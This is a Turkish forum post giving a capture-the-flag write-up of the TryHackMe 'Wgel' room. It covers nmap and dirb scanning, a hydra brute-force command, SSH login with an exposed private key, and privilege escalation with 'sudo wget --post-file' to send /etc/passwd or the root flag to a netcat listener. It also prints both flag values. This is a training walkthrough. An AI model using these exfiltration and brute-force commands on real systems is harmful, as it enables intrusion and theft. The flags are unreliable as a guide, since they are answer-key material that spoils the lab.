Tryhackme-Wgel WriteUp

ogulcankacar

Yeni üye
29 Ağu 2022
42
42

Makine Çözümleri

myLogo.png





Makine: Tryhackme/Wgel

Giriş
Merhaba, bu yazımızda "MrSeth6797" adlı kişi tarafından oluşturulan tryhackme üzerindeki "Wgel CTF" adlı basit düzeydeki makineyi çözeceğiz. Şimdi ilk olarak tryhackme ağına bağlanıp, makinemizi çalıştıralım. Gördüğümüz gibi oda, “TASK 1 - Wgel CTF” görev başlığı altında bizden sadece user.flag ve root.flag'i istemektedir. Dolayısıyla bizde ilk olarak makineyi nmap ile taramaya maruz tutup kullanabileceğimiz portları belirleyerek başlayalım.

nmap -sV -sS -Pn <machine_ip_address>

şeklinde nmap taraması ile hedef makinemizdeki kullanabileceğimiz portları belirleyelim.
1.png


Nmap sonuçlarına göre burada ssh ve bir web sunucusu çalıştığını görmekteyiz. Burada apache2 sürümünde bir açık var mı? filan bakarak buradan da ilerleyebiliriz, fakat ben burada büyük ihtimal bize ssh ile ilerlememizi istediğini düşünerek ssh yolunu seçiyorum. SSH için biliyorsunuz, terminal üzerinden karşı taraf üzerinde bağlantı kurabilmemize imkan sağlayan bir yazılımdır diyebiliriz. SSH bağlantısı kurabilmek için de bizden karşı makine de yani bağlantı kurmak istediğimiz makinedeki herhangi bir kullanıcı ve bu kullanıcının şifresine sahip olmamız gerekmektedir. Dolayısıyla bizim bir adet kullanıcı adı ve bu kullanıcı adının şifresine ihtiyacımız var, yani bizim biraz siteyi kurcalayıp en azından kullanıcı adını bulmamız gerekmektedir. Şifreyi de bulabiliriz ama bu kadar basit olacağını sanmıyorum. Neticede hedefimizde 80 portu üstünde web sunucunun açık olduğunu görmüştük, bu yüzden ilk önce 80 portuna giderek sitemize ulaşıyoruz. Burada her şeyden önce ctrl+u yaparak sitenin kaynak kodunu görüntülüyoruz;
2.png



amacımız ise kullanabileceğimiz bir şeyler bulmak. Nitekim bu amaç doğrultusunda sayfayı biraz aşağıya indirdiğimizde;

<!-- Jessie don't forget to udate the webiste -->

'şeklinde html yorum etiketleri içerisinde jessie diye bir kullanıcıya; sitenin güncellemesinin unutmaması hakkında bir bilgi notu bırakılmış olduğunu görüyoruz Yani demek ki sunucuda jessie diye bir kullanıcı bulunmaktadır. Böylece ssh bağlantısı için gerekli bilgilerimizden ilkini yani kullanıcı adımızı belirlemiş oluyoruz. Peki şimdi geldi bu kullanıcının şifresini bulmaya. Burada aslında ben ilk başta bizden Brute Force'mu istiyor diye düşünerek, jessie kullanıcı adına hydra kullanarak Brute Force yaptım,

hydra -l wordlist/rockyou.txt -p wordlist/rockyou.txt ssh://<ip>

,fakat bu saldırı gerçeğe yakın gibi uzun sürdüğü için, yarı da kestim. Ardından biz ana sayfadan direk kullanıcı adına ulaştığımız için, belki de bunun bir aldatmaca olduğunu düşündüm ve belki başka sayfalar olabilir diye dirb aracını kullanarak dizin taraması başlattım.

dirb http://<ip>

dirb tarama sonucunda aslında bazı sayfalar da olduğunu gördüm. Bunlardan özellikle /sitemap/.ssh/ sekmesi ilgimi çekti,
3.png


ve içine girdiğimde aslında bir adet ssh RSA Key gördüm. SSH Key; aslında güvenli parola doğrulaması sağlayan bir anahtar niteliğindedir. Yani parola niyetine kullanılan ve bu sebeple aslında bir parola değeri taşıyan anahtardır. Bunun mantığı da girdiğimiz şifreleri hatırlamak zorunda kalmadan bir kere key üretiyoruz ve daha sonra bu key ile bağlantılarımızı yapıyoruz. Yani başta kullanıcı adı arıyorduk ya biz şimdi hem kullanıcı adını hem de o kullanıcının şifresini yani şifresi niyetindeki bir key'i ele geçirdik. Şimdi bundan sonraki ilk işimiz bulduğumuz kullanıcı adı ile birlikte bu key'i kullanarak ssh ile makinemize bağlanmak olacaktır. Bunun için;

ssh -i id_rsa jessie@<ip>

komutunu kullanıyoruz. Yani ssh'a -i parametresi ile bir key ile bağlanacağımızı belirtiyoruz. Gerçekten de bu şekilde işlem yaptığımızda, biz jessia kullanıcısı ile birlikte hedef sunucumuza girmeyi başarıyoruz.
4.png


Şimdi doğrudan user flag dosyamızı arayalım. Bunu basitçe /Documents klasörü içine girerek bulabiliriz; 057c67131c3d5e42dd5cd3075b198ff6

Evet şimdi geldi yetkimizi yükseltmeye. Şimdi ilk olarak sudo -l yaparak jessie kullanıcısının root yetkileriyle kullanabileceği bir şeyler var mı buna bakalım. Bunu yaptığımızda biz wget'i şifresiz bir şekilde kullanabildiğimizi görmekteyiz. Çok güzel, yani ilerleyeceğimiz aşama wget'i kullanarak yetki yükseltmesi yapmak. Bu arada wget'de biliyorsunuz, sunuculardan bir şeyler indirmemize olanak sunan bir yazılımdır diyebiliriz. Nitekim bunu yapabilmek için google'da "wget priv esc" şeklinde küçük bir arama ile ulaşabileceğiniz; sunucuda: "sudo /usr/bin/wget --post-file=/etc/pasww <ip>" local'de: "nc -nvlp 80" komutuna ulaştım. Yani wget kullanarak içine sızdığımız sunucudan local makinemize çıktı aktarabiliyoruz. Ben bu kodu aldım ve etc/passwd'i okumak yerine /root/ içindeki root_flag.txt'i okuması için küçük bir düzeltme yaptım; sudo /usr/bin/wget --post-file=/root/root_flag.txt <ip>

Bu arada Root'un flag ismini nereden buldun diye sorarsanız, sadece tahmin ettim, yani ilk başta user flag'ini de user_flag.txt şeklinde vermişti ya bende burada root_flag.txt yaptım ve çalıştırdığımda da gerçekten root'un da flag değerini almayı başardık; b1b968b37519ad1daa6408188649263d
5.png



Ve neticede buraya kadar Tryhackme içindeki Wgell odasını da bu şekilde tamamlamış oluyoruz. Buraya kadar okuduğunuz için teşekkürler, bir sonraki makine çözümlerinde görüşmek üzere…


Yazının PDF hâli için > Github
 

ɴᴜʟʟ

Katılımcı Üye
29 Ağu 2021
746
2
680
/www/
Elinize emeğinize sağlık çok güzel anlatmışsınız , konunun tasarımına bir tık yoğunlaşırsanız daha keyifli bir hale gelebilir 😇
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.